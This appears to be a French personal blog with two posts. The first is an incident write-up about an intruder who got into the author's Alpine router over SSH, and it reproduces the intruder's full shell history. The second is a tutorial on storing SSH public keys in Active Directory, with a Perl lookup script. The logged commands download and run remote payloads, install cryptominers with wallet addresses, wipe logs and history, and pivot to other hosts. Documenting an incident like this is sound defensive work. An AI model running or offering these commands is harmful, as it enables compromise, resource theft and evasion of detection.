Je me suis fait hack (encore)

Me voilà de retour d’une très sympathique semaine de ski pour constater un peu par hasard et après une bonne nuit de sommeil une activité suspecte sur mon routeur, un hack ?

Un cafard se balade sur mon routeur

Que vois-je ? L’utilisateur build qui ouvre une connexion ssh en live ?! build est un compte que j’utilise pour build des packages pour Alpine Linux. Avant de me faire une vm dédiée à cette tâche, avec largement plus de capacité, c’est mon routeur (sous Alpine) qui s’occupait de la compilation. Le routeur est un bi-coeur faiblard cadencé à 1GHz épaulé par 4Go de RAM à comparer à une machine virtuelle armée de 8 vCPUs et de 8Go de RAM, ce n’est pas exactement la même chose sur les temps de compilation.

Si un gus a réussi à ssh mon routeur, c’est qu’il est exposé sur Internet, plutôt normal pour un routeur. Et comme je souhaite pouvoir m’y connecter à distance, SSH est accessible sur son port standard. Je suis absolument contre la sécurité par l’obscurantisme, dont l’analogie serait de cacher la clé sous le tapis. Je n’ai donc pas remappé le port 22 ailleurs. Quant au mot de passe de ce compte, ça devait très certainement être build aussi… Ca peut paraître stupide sauf que mes accès ssh ne sont pas censés accepter des logins par mot de passe. Enfin c’est ce que je croyais.

Désinfection au Raid⚡

# To disable tunneled clear text passwords, change to no here!
PasswordAuthentication no

Après une vérification rapide de /etc/ssh/sshd_config , j’ai pu confirmer, et corriger, que sshd acceptait bien les logins par mot de passe. Je suppose que j’ai dû être un peu fatigué lorsque j’ai mis à jour sshd la dernière fois. Plus de fun que de mal, le petit malin aura tenté tout un tas de binaires pré-compilés pour escalader en privilèges ou faire miner ma box mais sans la glibc ni compilateurs, c’est un peu dur de les faire exécuter, sans compter grsec qui masque tous les process non-ownés en cours d’exécution et l’absence de sudo.

Ci-dessous l’activité de l’indésirable, on peut voir aux commandes employées et fautes de frappes que l’attaque était manuelle.

uname -a; w
w
ps x
wget
cat /etc/passwd |grep sh
ps x
cd /tmp/.ICE-unix ; wget http://14.142.118.25/psyBETA.gz; tar xvf psyBETA.gz; rm -rf psyBETA.gz; cd nsmail; mv psybnc sshd ; ./sshd
ps x
/sbin/ifconfig |grep inet
cd ..
rm -rf nsmail
ps x
kill -9 8042
cd var/tmp ; wget http://209.92.176.23:81/ipv6.tar ; tar zxvf ipv6.tar ; rm -rf ipv6.tar ;cd " " ; nano cfg
vi cfg
chmod +x *
./autorun
./run
cd ..
rm -rf " "
ls -a
ps x
history -c
exit
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG ; export HISTFILE=/dev/null ; export HISTSIZE=0; export HISTFILESIZE=0 ;wget http://dl.packetstormsecurity.net/UNIX/penetration/log-wipers/mig-logcleaner11.tar.gz;tar xzvf mig-logcleaner11.tar.gz;cd mig-logcleaner;make linux ;./mig-logcleaner -u root;cd ..;rm -rf mig-logcleaner11.tar.gz;rm -rf mig-logcleaner
w
id
uname -a
ls -a
wget
perl
cd /tmp;wget http://107.180.41.26/bash/ce;perl ce;rm -rf ce
w
ls -a
wget bash.artisanal.gifts/ce
perl ce
rm -rf ce
w
ls -a
ssh nico@94.23.0.64
ssh root@213.32.95.88
ssh steam@149.202.41.147
ssh press@94.23.25.188
uname -a; w
ls -a
ps x
wget
ps x
cd /tmp/.ICE-unix
ls -a
cd /var/tmp
ls -a
cd nginx
ls -a
cd /tmp/.ICE-unix
wget http://14.142.118.25/psyBETA.gz; tar xvf psyBETA.gz; rm -rf psyBETA.gz; cd nsmail; mv psybnc sshd ; ./sshd
cd ..
rm -rf nsmail
wget http://14.142.118.25/mile.tgz
ls -a
tar zxvf mile.tgz
rm -rf mile.tgz
chmod +x *
./autorun
ls -a
cd .d
chmod +x *
./autorun
./run
cd ..
rm -rf .d
wget http://14.142.118.25/m.sh;chmod a+x m.sh && sh m.sh ; rm -rf m.sh ;history -rc
ls -a
exit
w
wget
cd /tmp;wget http://200.6.251.100/gx;perl gx;rm -rf gx
w
ls -a
w
id
uname -a
cat /proc/cpuinfo
passwd
cd /tmp;wget http://84.200.214.107/rx;perl rx;cd ; rm -rf .bash_history
w
?
help
setup-alpine
h
uname -a
w
uptime
passwd
cd /dev/shm
ls -al
wget
wget http://213.202.211.230/a
ls
perl a
cd /var/tmp
wget http://213.202.211.230/a
cd /tmp
wget http://213.202.211.230/a
perl a
wget http://213.202.211.230/frame.tgz
tar xvf frame.tgz
rm -rf frame.tgz
cd .w
./autorun & ./run
w
ps -x
uptime
sudo su -
unset HISTFILE HISTSAVE HISTLOG
passwd
ps x
cd /tmp
ls -al
cd .w
ls -al
cat cfg
ls
cd /tmp
ls
ls -al
wget 213.202.211.230/a
perl a
ls
cd /tmp
ls
wget 213.202.211.230/p
perl p
rm -rf p
ls
cd /tmp
ls
perl a
wget 213.202.211.230/noi.tgz
tar xvf noi.tgz
rm -rf noi.tgz
cd .r
./autorun & ./run
w
uptime
uname -a
ls
ls -al
cat .ash_history
wget 213.202.211.230/p
unset HISTFILE HISTSAVE HISTLOG
w
ps x
cat /proc/cpuinfo
wget 104.236.44.248/x;perl x;rm -rf x;wget http://195.114.1.39/~hoton/yam;chmod +x yam;./yam -c x -M stratum+tcp://46PncwHHbkcDv4X3PWbQataAK69Fq4oC9aDb5eZBDNsVSiEULJ4vCaRWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3z32jBJ:x@198.251.81.82:3333/xmr >>/dev/null &
unset HISTFILE HISTSAVE HISTLOG
cd /tmp
ls
ls -al
wget 213.202.211.230/p
perl p
unset HISTFILE HISTSAVE HISTLOG
ls
cd /tmp
ls
perl p
ps x
w
ps x
cat /roc/cpuinfo
cat /proc/cpuinfo
curl -O http://104.236.44.248/x;perl x;rm -rf x;wget http://104.236.44.248/xm.tgz;tar xzvf xm.tgz;rm -rf xm*;cd .g;chmod +x *;./a
rm -rf *
w
ps x
ls -a
wget http://162.243.108.174/n;perl n;rm -rf n;wget http://162.243.108.174/xm.tgz;tar xzvf xm.tgz;rm -rf xm.tgz;cd .g;./x
w
ps x
nproc
perl
cd /tmp;wget http://162.243.108.174/n;perl n;rm -rf n;
w
uname -a
ps x
cat /proc/cpuinfo
a
w
uname -a
gcc
cat /etc/passwd
cat /etc/issue
wget
cd /t,m
ls
cd /tmp/
ls
cd .ICE-unix/
ls
 wget prg.at.ua/bot/blackmech.tgz
 wget http://prg.at.ua/bot/blackmech.tgz
ls
tar xvzf blackmech.tgz
cd .black/
ls
./a
./r
ls
nano a
chmod +x a
./a
l
ls
./update
ls
cat update
ls -a
top
cd /home/build/.g
dir
./md -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u trendsalevip@gmail.com -p x >>/dev/null &
w
ps x
nproc
cat /proc/cpuinfo
nproc
ps x
cd /tmp
ls -a
cd .z
ls
ls -a
cd /dev/shm
ls -a
cd .ste
ls
cd .s
ls
wget http://162.243.108.174/e.tgz;tar xzvf e.tgz;rm -rf e.tgz;cd .e;./a;perl n;rm -rf n;history -c
cat run
 ./md -a cryptonight -o stratum+tcp://5.254.66.118:8888 -u etnjxvssgjZdK3LD9TBSecKST2ETHmVBw3azXtVXiQtggNDyAWEvzg9Ga29ZXM39Wd7kSJWDZUHTgYUMDKCwhPBE5zN5XHGSSB -p x >>/dev/null &
./yam32 -c t -M stratum+tcp://etnjxvssgjZdK3LD9TBSecKST2ETHmVBw3azXtVXiQtggNDyAWEvzg9Ga29ZXM39Wd7kSJWDZUHTgYUMDKCwhPBE5zN5XHGSSB:x@5.254.66.118:8888/xmr >>/dev/null &
ps x
rm -rf *
ps x
cd /tmp
ls
cat a
perl a
wget 213.202.211.230
ls
uname -a
uptime
w
wget
ls
cd mix
ls
chmod +x *
ls
./a 183.82
w
ls
cd mix
ls
./a
./a 92.222
ls
cat pass
halt
w
free -g
cat /proc/cpuinfo
apt-get
yum
cd /
ls -la
exit
w
cd
cd /
ls
ifconfig
free -g
sudo su
w
exit

Il aurait pu explorer mon réseau interne. En effet la présence de l’interface ppp0 avec la commande ifconfig indique assez clairement une connexion « perso » ou du moins signifiant un équipement pas installé en datacentre. J’en suis presque déçu. On peut même y lire de la frustration lorsqu’il tant vers la fin les commandes apt-get  et yum . Rien que pour avoir pu déguster ce nectar, je ne regrette pas ma mauvaise configuration.

J’espère que ça t’aura amusé au moins autant qu’à moi. Je suis cependant preneur de tout moyen de tracer ce connard script-kiddie en obtenant son wallet ETH à partir des informations ci-dessus, je prends !

Et si tu veux jouer avec sa toolbox : 20180128_hack_tools.tar

Authentification SSH par AD

J’essaie lorsque c’est possible d’éviter la sur-multiplication des mots de passe à gérer. Dans un environnement principalement Microsoft, Active Directory permet de résoudre assez bien ce problème, c’est cool. Un annuaire pour les unir tous (et dans les ténèbres les lier).

Qu’en est-il des distributions Linux ? Je gère un petit nombre de serveurs sous Linux, pour lesquels l’intérêt de les intégrer dans un domaine Active Directory est proche du néant (sans parler du foutoir à mettre en place côté Linux). En effet, il n’y a pas de GPO, l’authentification par mot de passe est désactivé sur ces serveurs, et seul quelques personnes doivent pouvoir y avoir accès et de manière limitée.

Je me suis donc orienté vers une solution où la base utilisateurs des serveurs Linux reste locale (via /etc/passwd et /etc/shadow donc) mais en cherchant à centraliser la clé SSH de ces utilisateurs avec Active Directory.

David Gwynne (voir source) s’est déjà penché sur ce problème et a exhibé un paramètre contenu dans OpenSSH permettant de contrôler l’étape d’authentification via clé publique de manière très flexible, ce paramètre acceptant un script en entrée.

Le principe est alors très simple :

  1. un utilisateur tente de se connecter au serveur linux en SSH
  2. le serveur SSH récupère le nom d’utilisateur et exécute le script indiqué par le paramètre AuthorizedKeysCommand
    1. par mesure de sécurité, OpenSSH propose d’exécuter ce script sous une autre identité, ce qui est fortement préférable vu qu’OpenSSH est root
    2. ce script va se connecter à un serveur LDAP à l’aide d’identifiants dédié
    3. il va récupérer l’objet utilisateur correspondant au nom d’utilisateur, et s’il existe retourner sa ou ses clés publique SSH

L’intérêt consiste à éviter de devoir manipuler le fichier /home/{user}/.ssh/authorized_keys2 sur chaque serveur pour chaque utilisateur, la création d’un accès se faisant alors en deux temps :

  1. création du compte sur le serveur linux avec la commande useradd
  2. si ce n’est pas déjà fait, ajout de sa clé dans Active Directory

Mise en place de la solution

  1. Dans le fichier /etc/ssh/sshd_config, on ajoute/modifie les lignes suivantes:
AuthorizedKeysCommand /etc/ssh/authorized_keys.pl
AuthorizedKeysCommandUser _sshkeys

# si ce n'est pas déjà fait, ci-dessous les paramètres à modifier pour désactiver l'identification par mot de passe
PasswordAuthentication no
ChallengeResponseAuthentication no

2. Contenu du fichier /etc/ssh/authorized_keys.pl. Il faudra renseigner le nom du domaine, le nom d’utilisateur et mot de passe d’un compte pour se connecter à l’annuaire.

#!/usr/bin/perl -w

use strict;
use Net::DNS;
use Net::LDAP;
use Net::LDAP::Constant qw(LDAP_SUCCESS LDAP_INVALID_CREDENTIALS);
use Net::LDAP::Util qw(escape_filter_value);

sub ad_bind($$$)
{
	my $domain = shift;
	my $user = shift;
	my $pass = shift;

	my $res = Net::DNS::Resolver->new;
	my $query;
	my $answer;
	my $ldap_error;

	$query = $res->query("_ldap._tcp." . $domain, 'SRV');
	if (!$query) {
		die "unable to query SRV records for $domain";
	}

	my @answers = $query->answer;
	foreach $answer (@answers) {
		# next if ($answer->port != 389)

		my $ldap = new Net::LDAP($answer->target, timeout => 2);

		$ldap_error = $@;
		next unless ($ldap);

		my $mesg = $ldap->bind(sprintf("%s@%s", $user, uc($domain)),
			password => $pass);
		return ($ldap) if ($mesg->code == LDAP_SUCCESS);

		if ($mesg->code == LDAP_INVALID_CREDENTIALS) {
			return (undef, $mesg->error);
		}

		$ldap_error = $mesg->error;
	}

	return (undef, $ldap_error);
}

if (scalar @ARGV != 1) {
	die "username not specified";
}

my $username = $ARGV[0];
my $ad_filter = sprintf('(&(sAMAccountName=%s)(objectClass=user))', escape_filter_value($username));

my %d = (
	'kveer.fr' => {
		'user' => 'sshkeys',
		'pass' => 'ton_mot_de_passe',
		'base' => 'DC=kveer,DC=fr',
		'filter' => $ad_filter
	}
);

foreach my $domain (keys %d) {
	my $param = $d{$domain};

	my ($ds, $err) = ad_bind($domain, $param->{'user'}, $param->{'pass'});
	next unless ($ds);

	my $mesg = $ds->search(
		base	=> $param->{'base'},
		filter	=> $param->{'filter'},
		attrs	=> ['altSecurityIdentities']
	);
	next unless ($mesg->code == LDAP_SUCCESS);

	for (my $i = 0; $i < $mesg->count; $i++) {
		my $entry = $mesg->entry($i);

		my @ids = $entry->get_value('altSecurityIdentities');
		foreach my $id (@ids) {
			my ($type, $value) = split(/:/, $id, 2);
			print "$value\n" if ($type eq 'SSHKey');
		}
	}
}

3. puis enfin quelques commandes pour terminer la configuration (à adapter en fonction de la distribution)

#!/bin/bash

USERNAME=_sshkeys
SCRIPT_FILE=/etc/ssh/authorized_keys.pl

useradd -s /sbin/nologin -d /var/empty/ $USERNAME
chmod 750 "$SCRIPT_FILE"
chown root:"$USERNAME" "$SCRIPT_FILE"

Ajouter la clé SSH

Pour chaque utilisateur devant avoir un accès nunux, il suffit de déclarer leur clé publique au sein d’Active Directory, dans l’attribut altSecurityIdentities. L’avantage de cet attribut est qu’il existe déjà, et fonctionne à l’aide d’un préfixe sur les valeurs, de sorte à ce qu’il puisse être utilisé par un acteur différent (ici OpenSSH) sans impacter l’usage initial qui en est fait de cet attribut. Ci-dessous à travers l’outil de gestion graphiques de l’annuaire dsa.msc.

ssh_ad_dsa

Remarques

  • Le script n’est pas parfait et peut être améliorer. Il ne vérifie pas par exemple si le compte en question est désactivé ou non.
  • Le script utilise l’attribut altSecurityIdentities. On aurait très bien pu créer un attribut dédié, mais cette solution a l’avantage d’éviter de modifier manuellement le schéma AD.

Source